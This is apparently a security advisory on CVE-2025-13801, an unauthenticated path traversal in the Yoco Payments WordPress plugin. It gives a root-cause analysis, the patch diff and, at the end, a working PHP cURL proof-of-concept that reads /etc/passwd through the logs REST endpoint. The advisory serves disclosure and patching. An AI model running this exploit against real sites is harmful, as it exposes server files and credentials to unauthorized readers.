Atomic Edge analysis of CVE-2025-13801:
This is an unauthenticated path traversal vulnerability in the Yoco Payments WordPress plugin. The vulnerability exists in a REST API endpoint that handles log file retrieval. It allows attackers to read arbitrary files on the server, leading to sensitive information disclosure. The CVSS score of 7.5 reflects a high-severity impact due to the lack of authentication and the direct file system access.
Atomic Edge research identifies the root cause in the `callback` function within the file `yoco-payment-gateway/src/Helpers/Logs.php`. The function directly uses user input from the `file` REST parameter without sufficient validation. The vulnerable code at line 28 assigns `$file = (string) $request->get_param( ‘file’ )`. This unsanitized value is later concatenated with `WC_LOG_DIR` and passed to `file_get_contents()` at line 66, enabling directory traversal sequences.
Exploitation involves sending an unauthenticated HTTP GET or POST request to the vulnerable REST API endpoint. The endpoint is registered by the plugin, typically at a route like `/wp-json/yoco/v1/logs`. An attacker supplies a path traversal payload in the `file` parameter, such as `../../../../etc/passwd`. This bypasses the intended log file restriction and allows reading any file accessible to the web server process.
The patch modifies the `Logs.php` file in two key ways. First, it applies `sanitize_file_name()` to the user input. Second, it adds a strict validation check requiring the filename to start with ‘yoco’ and end with the ‘.log’ extension. The code also corrects the `file_get_contents` call to use a validated `$target` variable instead of directly concatenating user input. These changes restrict file access to only legitimate plugin log files, eliminating the path traversal vector.
Successful exploitation leads to full server file disclosure. Attackers can read WordPress configuration files (wp-config.php), system files (/etc/passwd), and other sensitive data. This information can enable further attacks, such as database credential theft or site compromise. The unauthenticated nature significantly lowers the attack barrier.
--- a/yoco-payment-gateway/src/Helpers/Logs.php
+++ b/yoco-payment-gateway/src/Helpers/Logs.php
@@ -28,9 +28,10 @@
public function callback( WP_REST_Request $request ): WP_REST_Response {
- $file = (string) $request->get_param( 'file' );
+ $file = sanitize_file_name( $request->get_param( 'file' ) );
- if ( '' === $file ) {
+ // Allow only files that start with yoco and have .log extension.
+ if ( '' === $file || '.log' !== substr( $file, -4 ) || 'yoco' !== substr( $file, 0, 4 ) ) {
return new WP_REST_Response(
array( 'message' => 'Not found' ),
404
@@ -65,7 +66,7 @@
);
}
// phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents
- $log_data = file_get_contents( WC_LOG_DIR . $request->get_param( 'file' ) ); // NOSONAR
+ $log_data = file_get_contents( $target ); // NOSONAR
add_filter(
'rest_pre_serve_request',
--- a/yoco-payment-gateway/yoco_wc_payment_gateway.php
+++ b/yoco-payment-gateway/yoco_wc_payment_gateway.php
@@ -5,7 +5,7 @@
* Description: Take debit and credit card payments on your store.
* Author: Yoco
* Author URI: https://www.yoco.com
- * Version: 3.9.0
+ * Version: 3.9.1
* Requires at least: 6.4.0
* Tested up to: 6.9
* WC requires at least: 8.0.0
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13801 - Yoco Payments <= 3.9.0 - Unauthenticated Arbitrary File Read
<?php
$target_url = 'http://vulnerable-site.com/wp-json/yoco/v1/logs';
// The vulnerable 'file' parameter. Use a path traversal payload to read a sensitive file.
$payload = '../../../../etc/passwd';
// Initialize cURL session
$ch = curl_init();
// Set the target URL with the malicious parameter
$full_url = $target_url . '?file=' . urlencode($payload);
curl_setopt($ch, CURLOPT_URL, $full_url);
// Set to return the response as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute the request
$response = curl_exec($ch);
// Check for errors
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch);
} else {
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Status Code: $http_coden";
echo "Response:n$responsen";
}
// Close cURL session
curl_close($ch);
?>
